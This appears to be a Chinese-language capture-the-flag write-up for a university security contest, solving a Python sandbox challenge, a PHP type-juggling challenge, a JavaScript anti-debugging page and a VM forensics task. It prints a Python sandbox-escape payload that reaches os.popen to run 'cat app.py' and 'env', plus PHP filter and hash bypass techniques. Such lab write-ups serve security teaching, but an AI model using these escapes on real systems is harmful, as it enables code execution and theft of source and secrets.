第九届中国海洋大学信息安全竞赛

web

菜狗工具#1

给了源码,并设置了黑名单 并设置了新的内置模块

1
2
3
4
5
6
7
8
black_list = [
'__build_class__', '__debug__', '__doc__', '__import__',
'__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
(key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])

ban了常用的一些能执行代码和读文件的模块
实际上这题就是ssti
print([].__class__.__base__.__subclasses__())<class 'os._wrap_close'>
print([].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat app.py').read())或者读环境变量
print([].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('env').read())
image.png

ezPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);

$a = 'O.U.C';

$query = $_SERVER['QUERY_STRING'];
parse_str($query);
if (preg_match('/_|%5f|\.|%2E/i',$query)){
die('听说你是黑客');
}

echo '你知道b等于什么能绕过这个弱类型吗(〃` 3′〃)'.'<br>';
if (md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){
echo "哎呦,不错喔".'<br>';
$O_U_C=$_GET['O_U_C'];
if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)){
echo 'but'.'如果我寄出===阁下又该如何应对๑乛◡乛๑'.'<br>';
if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){
echo '好,那么好'.'<br>';
if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){
echo '还是被你解出来了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag;
}else{
echo '告诉你secret的md5值也无妨,反正哈希是不可逆的๑乛◡乛๑,除非你能箨斩攻击我'.md5($secret.'ouc').'<br>';
}
}else{
echo '不过如此';
}
}else{
die("不行嘛(´ェ`)");
}
}else{
echo '嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)';
}

定义和用法

parse_str() 函数把查询字符串解析到变量中。
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

可以覆盖$a的值 用0e 开头的md5 就能绕过
下划线get变量名可以用空格绕过
if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)) 用换行绕过,preg_match只匹配第一行
image.png

爆率真的高

打开控制台发现输出一直在清除输出
而清除控制台输出的是console对象的clear方法
用Resources Saver插件来保存项目
在本地打开
观察可以发现清除的主要代码在eval里,代码被混淆了
image.png
这里考虑在eval之前把console的clear方法重写

1
2
3
4
5
6
Object.defineProperty(console, 'clear', {
value: () => 0,
writable: true,
configurable: true
});
// 现在Math.random总是返回1

保存后再运行
image.png
在这两处下断点,可以看到前一个调用了random方法,后一个的
image.png
image.png
后一个是log方法
可以联想到是通过random不断产生随机数然后再调用console.log()输出
这里把random方法也重写

1
2
3
4
5
6
Object.defineProperty(Math, 'random', {
value: () => 1,
writable: true,
configurable: true
});
// 现在console.clear总是返回0

image.png

帕鲁服务器#1

挂载vmdk(要升级vm17.5 才有Debian12镜像 进去root免密登录)
然后wireshark抓虚拟机的流量
image.png


第九届中国海洋大学信息安全竞赛
http://example.com/2024/04/27/第九届中国海洋大学信息安全竞赛/
作者
J_0k3r
发布于
2024年4月27日
许可协议
BY J_0K3R